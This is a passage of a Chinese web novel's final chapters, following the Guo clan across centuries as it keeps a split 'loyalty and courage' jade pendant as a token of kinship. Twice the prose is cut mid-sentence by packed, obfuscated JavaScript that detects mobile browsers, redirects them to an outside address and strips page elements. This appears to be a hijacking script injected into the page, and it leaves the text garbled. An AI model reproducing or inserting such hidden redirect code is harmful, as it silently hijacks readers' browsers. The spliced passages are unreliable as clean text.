郭玘回到案前,提笔写下一封回信。信中写道:“郭玹兄台鉴,知悉兄遭构陷,弟心甚忧。然兄乃忠良之后,陛下仁明,必能查明真相,还兄清白。今托人送上海州盐引若干,聊作周转之资。昔年‘忠勇’半璧,历经二十余年分离尚能合璧,今日些许难关,何足惧哉?半璧能合,难关能过,愿兄坚守初心,静待云开雾散。弟玘顿首。” 写完信,郭玘将其与盐引一同交给前往京城的族人,反复叮嘱:“路上务必小心谨慎,避开关卡盘查,务必将盐引与书信亲手交给郭玹侯爷,不可有失。” “族长放心,我等定不辱使命!”两名族人躬身应道,随即带着盐引与书信,冒着风雪,连夜踏上了前往京城的路途。 送走族人后,郭玘回到祠堂正殿,望着供案上的“勇”字玉佩与拓本,心中感慨万千。武定侯府与巩昌侯府本是同根同源,二十余年风雨同舟,如今一方有难,另一方岂能袖手旁观?那枚分藏两地的“忠勇”玉佩,不仅是家族的信物,更是两族守望相助的见证。 几日后,风雪渐停,郭家村迎来了难得的晴朗。族中长辈商议后,向郭玘提议:“族长,‘守拙祠’自落成以来,香火日益旺盛,前来祭拜的族人与百姓越来越多。如今祠堂有些简陋,我们想趁着年关将至,对祠堂进行翻修,扩大正殿规模,再添些陈设,让先祖的牌位能有更好的安放之处。” 郭玘点头赞同:“此事甚好。‘守拙祠’是家族的圣地,理应修缮一新。所需银钱、物料,族中库房支取即可,务必请最好的工匠,保证修缮质量。” 消息传出后,族人们纷纷响应,周边百姓也主动前来帮忙。郭玘请来海州城中最有名的工匠班子,负责祠堂的翻修工程。工匠们实地勘察后,提出了详细的修缮方案:扩大正殿面积,更换腐朽的梁柱,重新粉刷墙面,增设供案与香炉,还提议在祠堂的墙壁上绘制郭氏先祖的功绩图,让后人能更直观地了解家族历史。 郭玘对方案一一认可,唯独在一处细节上提出了异议。工匠领班指着供案旁的空白墙面,提议道:“族长,此处墙面空旷,不如用一块整块的白玉,仿制‘忠勇’合璧玉佩,镶嵌在墙上,既美观又能彰显家族荣耀,寓意‘璧合族联’。” 此言一出,不少族人纷纷附和:“是啊,族长,用白玉仿制玉佩,既气派又吉祥,正好象征家族冤屈得雪,圆满新生。” 郭玘却摇了摇头,目光落在供案上的玉佩拓本上,沉声道:“不必用白玉仿制。当年先祖的‘忠勇’玉佩,历经分离之苦,才有今日的两族联结。白玉虽美,却是完美无缺,反而失了家族的本色。” 他顿了顿,继续道:“不如就用当年的玉佩拓本,刻在一块青石上,镶嵌在墙面上。拓本上有玉佩的纹路,更有当年分离与合璧的印记,裂过的痕迹,才是咱家的样子。它能时刻提醒我们,家族今日的安稳,是历经磨难、隐忍蛰伏换来的,切不可忘记过往的艰辛。” 族人们闻言,纷纷陷入沉思。郭福伯率先点头:“族长说得对!我们郭家的历史,就是一部历经磨难、坚守初心的历史。裂过的痕迹,才是最珍贵的记忆,用拓本石碑,正好能传承这份精神。” 其他族人也纷纷表示赞同:“族长英明!就按族长说的做,用拓本石碑,让后人永远铭记家族的过往。” 工匠领班见状,连忙道:“族长深谋远虑,小人佩服。我这就让人准备青石,按照拓本的原样,精心雕刻。” 郭玘嘱咐道:“石碑的雕刻,务必原汁原味还原拓本的纹路,包括当年玉佩分离的痕迹,一丝一毫都不可改动。石碑下方,再刻上‘半璧为记,手足同根’八个字,让后人永远记住这个道理。” “小人明白!” 祠堂翻修工程正式启动,族人们与工匠们各司其职,热火朝天。有人负责运送物料,有人负责搭建脚手架,有人负责打磨青石,整个郭家村都沉浸在忙碌而喜庆的氛围中。郭玘每日都会到施工现场查看,确保工程质量与自己的要求一致。 与此同时,前往京城的族人也传回了消息:盐引已顺利交给郭玹,郭玹收到盐引与书信后,十分感动,当即兑换了银钱,解决了府中的周转困境。御史的调查也有了进展,查明构陷郭玹的政敌纯属诬告,仁宗已下旨为郭玹平反,归还了武定侯府的家产,并斥责了诬告者。 郭玘得知消息后,心中悬着的石头终于落地。他知道,郭玹兄渡过了难关,两族的联结也更加牢固。那枚分藏两地的“忠勇”玉佩,再次见证了两族“半璧能合,难关能过”的手足深情。 时光荏苒,转眼便是二十余年。洪熙元年的风雪早已消散,海州郭家村在郭玘的带领下,愈发兴旺。学堂培养出了一批又一批知书达理的子弟,有的考取了功名,有的成为了农桑能手,有的继承了家族的煮盐生意,郭氏家族的“耕读传家”之风,在海州一带声名远扬。 这一年,郭玘已年满六十岁。岁月在他脸上刻下了深深的皱纹,却丝毫未减他眼中的清明与坚定。“守拙祠”的翻修工程早已完成,经过二十余年的岁月沉淀,祠堂更显古朴庄重。墙上的拓本石碑,字迹依旧清晰,“忠勇”二字苍劲有力,分离的痕迹历历在目,时刻提醒着族人过往的岁月。 这日恰逢郭氏家族的祭祖大典,郭家村的族人齐聚“守拙祠”,就连远在京城的武定侯府也派来了代表——郭玹的儿子郭瑾,前来参加祭祖。祠堂内,香火鼎盛,族人按辈分排列,恭敬地祭拜着先祖的牌位。 祭祖仪式结束后,族人们围坐在祠堂的庭院中,听郭玘讲述家族的历史。郭玘坐在庭院中央的石椅上,身边围着一群年幼的族孙,眼中满是好奇与敬仰。 “孩子们,你们可知我们郭家的‘忠勇’玉佩,为何是分开的?”郭玘抚摸着手中的“勇”字玉佩,缓缓开口。 一个约莫七岁的孙儿郭宸仰着小脸,问道:“祖父,玉佩不是应该合在一起才完整吗?为什么我们只有‘勇’字,‘忠’字却在京城的武定侯府?” 郭玘微微一笑,将玉佩放在石桌上,指着墙上的拓本石碑,缓缓讲述起那段尘封的历史:“很久以前,我们的先祖郭兴公,是大明的开国功臣,他有一枚传家玉佩,刻着‘忠勇’二字,象征着郭家‘忠勇传家’的家训。先祖将玉佩分为两半,一半‘忠’字,交给长子郭景振公,也就是你们的伯高祖;一半‘勇’字,交给次子郭斌公,也就是你们的曾祖父。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914101|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “后来,胡惟庸案爆发,先祖蒙冤,伯高祖郭景振公被削爵杀害,‘忠’字玉佩便留在了武定侯府;曾祖父郭斌公带着‘勇’字玉佩,带领族人逃亡海州,隐姓埋名,隐忍蛰伏了二十余年。” “再后来,曾祖父去世,将‘勇’字玉佩传给了我。为了给家族洗刷冤屈,我带着玉佩赴京,在武定侯府的帮助下,见到了仁宗皇帝,才让‘忠勇’玉佩得以短暂合璧,证明了我们家族的清白。” 孩子们听得入了迷,一个个瞪大了眼睛,脸上满是惊讶与敬佩。 郭玘继续道:“冤屈洗刷后,我没有将‘忠’字玉佩留在海州,而是让郭玹伯公带回了京城。有人问我,为何不将玉佩合璧,永久珍藏?今日,我便告诉你们答案。” 他顿了顿,目光扫过在场的族人,声音庄重而肃穆:“玉佩裂过,才有了分离的痕迹;我们家族,受过磨难,才有了今日的安稳。裂过的地方,经过修补,会比原来更结实;就像我们郭家,历经了蒙冤、逃亡、隐忍的苦难,才更懂得珍惜今日的和平与团圆。” “那枚‘忠’字玉佩留在京城,‘勇’字玉佩留在海州,不是割裂,而是联结。它时刻提醒着我们,郭氏两族,虽身处两地,却同根同源,血脉相连。无论何时何地,只要两族守望相助,就没有过不去的难关,就像当年你们的郭玹伯公遭难,我们送去盐引相助,正是因为‘半璧能合,难关能过’。” 郭宸似懂非懂地问道:“祖父,您是说,裂过的地方最结实,受过难才知珍惜?” “正是。”郭玘点点头,眼中满是欣慰,“孩子们,你们要记住,人生没有一帆风顺,家族的发展也不会永远平坦。遇到困难与挫折时,不要害怕,要像我们的先祖那样,坚守‘忠勇’初心,团结一心,就没有克服不了的难关。” 他指着墙上的拓本石碑,道:“你们看那石碑上的裂痕,它不仅是玉佩的痕迹,更是我们家族坚韧不拔的象征。它告诉我们,无论经历多少磨难,只要我们不忘根本,守望相助,郭家就永远不会倒下。” 族人们纷纷点头,心中满是感慨。郭昌也走上前,对着郭玘躬身道:“叔公说得对。京城的武定侯府,一直将‘忠’字玉佩视为珍宝,父亲时常教导我们,‘半璧为记,手足同根’,两族永远是一家人。此次前来,父亲特意让我带来他的书信,他说,无论将来发生什么,武定侯府与海州郭家村,永远守望相助,不离不弃。” 郭玘接过书信,心中满是欣慰。二十余年过去了,两族的情谊不仅没有淡化,反而愈发深厚。那枚分藏两地的“忠勇”玉佩,早已成为两族最牢固的纽带。 这时,有族人提议:“族长,如今家族兴旺,两族情谊深厚,不如我们再请工匠,用整块白玉仿制一枚完整的‘忠勇’玉佩,供奉在祠堂中,象征着两族圆满团圆。” 郭玘摇了摇头,道:“不必了。真正的圆满,不在于玉佩是否完整,而在于两族的心是否团结。那枚裂过的玉佩,那方有痕迹的石碑,才是我们家族最珍贵的财富。它能让我们永远铭记过去的苦难,珍惜今日的幸福,更能激励我们未来继续坚守初心,砥砺前行。” 他站起身,望着庭院中郁郁葱葱的松柏,声音洪亮:“孩子们,族人们,‘守拙’是我们的初心,‘忠勇’是我们的根基,‘半璧联宗’是我们的血脉。只要我们坚守这些,郭家的未来,定会像祠堂外的松柏一样,常青不败,生生不息!” 族人们纷纷鼓掌,掌声回荡在庭院中,久久不散。阳光透过松柏的枝叶,洒在每个人的脸上,温暖而耀眼。 郭玘看着眼前的族人,心中满是平静与坚定。他知道,自己已经完成了父亲与先祖的嘱托,将家族的家风与精神传承了下去。那枚分藏两地的“忠勇”玉佩,那方刻着拓本的石碑,那一句“裂过的地方最结实”,将成为郭氏家族永远的传承,激励着一代又一代的郭氏后人,坚守初心,珍惜团圆,守望相助,共赴未来。 洪熙元年的那场风雪,早已吹散在历史的长河中。但郭氏家族的故事,却如同一颗璞玉,历经雕琢与磨难,最终绽放出耀眼的光芒。“半璧能合,难关能过”,这句简单的话语,不仅是两族情谊的见证,更是郭氏家族生生不息的密码。而“裂过的地方最结实”的人生哲理,也将伴随着郭氏后人,在岁月的长河中,书写出更加精彩的篇章。 32. 第四卷 御状合璧 第32章 世代相传 时光如东海之潮,昼夜不息,淘洗着岁月的尘埃。自洪熙元年郭氏家族平反扎根海州,转眼已是百年光阴。明中期的海州,早已不复当年的偏远萧瑟,郭家村(蛮子官庄)发展成烟火鼎盛的村落,郭氏族人繁衍至数百之众,房舍鳞次栉比,农田阡陌纵横,“守拙祠”的香火历经百年而不衰,成为海州一带闻名的家族圣地。 每年清明,是郭氏族人最隆重的团聚之日。这一日,无论身处海州各地,还是外嫁、游学的族人,都会千里迢迢赶回郭家村,齐聚“守拙祠”,祭拜先祖,共叙亲情。 这年清明,春雨濛濛,淅淅沥沥地洒在“守拙祠”的青瓦上,汇成细细的水流,沿着屋檐滴落。祠堂内外,族人按辈分整齐排列,年长的族人身着素色长衫,手持香烛,神情肃穆;年轻的子弟扶老携幼,脸上带着恭敬;孩童们则穿着新衣,在祠堂庭院中嬉戏追逐,清脆的笑声穿透雨雾,与祠堂内的香火气息交织在一起。 “时辰到,祭祖开始!”随着族中长老郭达一声令下,庭院中的嬉戏声戛然而止。族人纷纷涌入祠堂正殿,按辈分站定。正殿中央,郭兴、郭斌、郭山甫的牌位依旧摆放整齐,供案上的“勇”字玉佩温润如初,墙上的拓本石碑历经百年风雨,“忠勇”二字依旧苍劲,“半璧为记,手足同根”的刻字清晰可辨。 郭氏族长郭时钦(郭玘曾孙)手持香烛,带领族人行三叩九拜之礼。“先祖在上,今郭氏族人齐聚于此,祭拜先祖,感恩庇佑。百年以来,族人恪守‘忠勇’家训,践行‘耕读传家’,人丁兴旺,安居乐业。愿先祖在天之灵,继续保佑我郭氏一族,枝叶繁茂,世代荣昌!” 祭拜完毕,族人们并未散去,而是围坐在祠堂庭院的廊下,听长老讲述家族的历史。郭达长老已是八旬高龄,须发皆白,却精神矍铄。他坐在廊下的太师椅上,手持拐杖,缓缓开口:“孩子们,今日祭祖,你们可知我们郭家的根在哪里?可知‘守拙祠’里的玉佩与石碑,藏着怎样的故事?” 围在身前的孩童们纷纷摇头,眼中满是好奇。其中一个扎着羊角辫的小女孩脆生生地问:“郭爷爷,是不是和我们传唱的歌谣有关呀?‘半块玉,一片心,郭家人,不忘根’!” “正是!”郭达长老哈哈大笑,眼中满是欣慰,“这首童谣,是你们曾祖公传下来的,唱的就是我们郭家最珍贵的传承。百年前,我们的先祖郭兴公是大明开国功臣,手握‘忠勇’玉佩,忠勇一生,却遭蒙冤;先祖郭斌公带着半块‘勇’字玉佩,带领族人逃亡海州,隐忍二十余年;直到郭玘公赴京告御状,才为家族洗刷冤屈……” 长老的声音缓缓流淌,将那段蒙冤、逃亡、隐忍、昭雪的历史,娓娓道来。孩子们听得入了迷,眼中时而闪过愤怒,时而满是敬佩,时而露出心疼。他们虽未曾经历那段岁月,却从长老的讲述中,感受到了先祖的坚韧与不易,读懂了“半块玉”背后的家国情怀与手足深情。 “……如今,‘忠’字玉佩在京城武定侯府,‘勇’字玉佩在我们‘守拙祠’,虽相隔千里,却联结着两族的血脉。”郭达长老指着墙上的石碑,“这裂过的痕迹,就是我们家族的印记。先祖说,裂过的地方最结实,受过难才知珍惜。我们郭家人,无论走到哪里,都不能忘记这份根脉,不能忘记‘忠勇’二字的分量!” 话音刚落,庭院中响起整齐的童谣声:“半块玉,一片心,郭家人,不忘根……”稚嫩的歌声在雨雾中回荡,久久不散。这歌谣,是郭氏族人世代相传的密码,是刻在骨子里的记忆,提醒着每一位郭氏后人,无论富贵贫贱,都要铭记先祖的苦难与坚守,不忘同根同源的手足情谊。 清明祭祖的习俗,不仅凝聚了郭氏族人的亲情,也让“忠勇”“守拙”的家风得以传承。百年以来,郭氏族人始终恪守《家政八要》,耕读传家,涌现出不少人才。有的族人考取功名,成为清廉的官员;有的族人深耕农桑,成为远近闻名的农把式;有的族人经营盐业、商贸,富甲一方却依旧保持朴素本色。无论从事何种职业,郭氏族人都以“忠勇”为做人之本,以“守拙”为立身之道,在海州一带赢得了良好的口碑。 这一年,海州新任知州王同到任。王同是个勤政爱民的官员,到任后便深入民间,了解百姓疾苦与地方风俗。当他听闻郭氏家族的故事,以及百年传承的良好家风后,心中十分敬佩,特意前往郭家村拜访。 在“守拙祠”,王同仔细参观了祠堂的陈设,聆听了郭氏家族的历史,看着墙上的拓本石碑与供案上的玉佩,感慨道:“郭氏一族,历经磨难而不坠其志,百年传承而家风不泯,实属难得!‘忠勇’二字,是为臣之本,也是为人之本;‘守拙’二字,是修身之道,也是治家之道。这样的家族,当为一方表率!” 为表彰郭氏家族的良好家风,王同亲笔题写了“忠勇世家”四个大字,制成匾额,派专人送到郭家村。当匾额悬挂在“守拙祠”的正门上时,郭氏族人纷纷聚集在祠堂前,欢呼雀跃。匾额黑底金字,熠熠生辉,与仁宗御赐的“守拙堂”匾额相映成趣,成为郭氏家族的又一荣耀。 “知州大人题赠‘忠勇世家’,是对我们家族的认可,更是对我们的鞭策!”族长郭九韶激动地对族人说,“我们定要不负这份荣耀,继续坚守家风,传承祖训,让‘忠勇世家’的名号,代代相传!” 族人们齐声应和,声音洪亮,响彻郭家村的上空。 世代相传(大结局) 自明中期与京城武定侯府建立起常态化的书信往来后,“鸿雁传书”便成为郭氏两族维系亲情的重要方式。无论朝代如何更替,无论路途多么遥远,两族的书信从未断绝。京城的武定侯府会将家族的近况、朝堂的变迁告知海州族人;海州的郭氏族人也会将农耕的收获、学堂的成果、族人的繁衍情况分享给京城亲人。 书信中,两族始终不忘提及那枚分藏两地的“忠勇”玉佩。“忠”字玉佩在京城历经战火与动荡,被武定侯府的后人小心翼翼地珍藏着;“勇”字玉佩在海州“守拙祠”中,接受着族人世代的祭拜。每一封书信,都承载着“半璧为记,手足同根”的深情,提醒着两族后人,他们是同根同源的一家人,血脉相连,荣辱与共。 明嘉靖年间,郭氏家族已发展成为遍布江苏、山东、北京等地的大家族。海州的郭家村依旧是家族的发源地与核心聚居地,而分散在各地的郭氏族人,也都以“忠勇”为家风,以“守拙”为家训,在各自的领域勤劳耕耘,繁衍生息。有的族人在山东经营盐业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914102|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,成为当地的富商;有的族人在北京入仕为官,清廉正直;有的族人在江苏各地务农经商,家境殷实。 春去秋来,寒来暑往,又是数百年光阴流转。明亡清兴,朝代更迭,世事变迁,海州郭氏家族却如同“守拙祠”外的松柏,历经风雨而常青。 到清顺治年间,随着家族的不断壮大与繁衍,族人们商议后,决定将堂号由“守拙堂”改为汾阳 “荣华堂”。“汾阳”源于家族追溯的先祖——唐代名将郭子仪,郭子仪被封为汾阳王,忠勇一生,功绩卓著,与郭氏家族的“忠勇”家训一脉相承;“荣华”则寓意着家族历经数百年风雨,终于迎来了繁荣昌盛的局面,也寄托着族人对未来的美好期许。 堂号更改的这一年,各地的郭氏族人再次齐聚海州郭家村,举行了隆重的堂号揭幕仪式。“荣华堂”的匾额悬挂在“守拙堂”的正殿上方,与“守拙堂”“忠勇世家”两块匾额并列,象征着家族的传承与发展——既不忘“守拙”的初心,又铭记“忠勇”的根基,更珍惜如今的荣华与安宁。 仪式上,族长郭永瑞(郭兴十世孙)发表讲话:“各位族人,今日我们将堂号改为‘汾阳荣华堂’,并非忘记过往,而是为了更好地传承。汾阳王郭子仪的忠勇,先祖郭兴公的忠勇,一脉相承;‘守拙’的初心,‘半璧’的情谊,是我们家族的根。无论堂号如何更改,无论我们身处何方,‘忠勇传家’的家训不能丢,‘手足同根’的情谊不能忘!” 各地的族人纷纷响应,掌声雷动。来自北京的族人代表郭谦,带来了武定侯府的最新消息与“忠”字玉佩的拓本:“各位宗亲,京城的族人始终铭记着‘半璧联宗’的誓言。这是‘忠’字玉佩的新拓本,今日带来与大家共享,愿两族情谊,如同这玉佩一般,历经岁月而不朽!” 郭永瑞接过拓本,与祠堂中“勇”字玉佩的拓本并列供奉在供案上。两块拓本,如同百年前合璧的玉佩一般,严丝合缝,仿佛在诉说着跨越时空的手足深情。 时光流转,岁月变迁,郭氏家族的故事,渐渐成为海州乃至江苏、山东、北京等地的一段佳话。“半块玉,一片心,郭家人,不忘根”的童谣,依旧在族中孩童口中传唱;“忠勇世家”的匾额,依旧在“守拙祠”中熠熠生辉;分藏两地的“忠勇”玉佩,依旧是两族最珍贵的传承。 从洪武年间的蒙冤逃亡,到洪熙元年的平反昭雪;从海州盐碱地的艰难扎根,到数百年后的枝繁叶茂;从“守拙祠”到“汾阳荣华堂”,郭氏家族历经磨难,却始终坚守初心,传承家风,凭借着“忠勇”的品格与“守拙”的智慧,在历史的长河中站稳了脚跟,繁衍不息。 清乾隆末年,海州郭家村的“守拙祠”依旧香火鼎盛。每年清明,各地的郭氏族人依旧会齐聚于此,祭拜先祖,传唱童谣,讲述那枚“半璧”玉佩的故事。夕阳西下,余晖洒在祠堂的青瓦上,镀上一层温暖的金光。祠堂外,孩童们的歌声依旧清脆:“半块玉,一片心,郭家人,不忘根……” 这歌声,穿越了百年时光,承载着郭氏家族的苦难与坚守,亲情与传承,将继续在岁月的长河中回荡,激励着一代又一代的郭氏后人,不忘根本,坚守初心,忠勇传家,世代荣昌。 (全文终)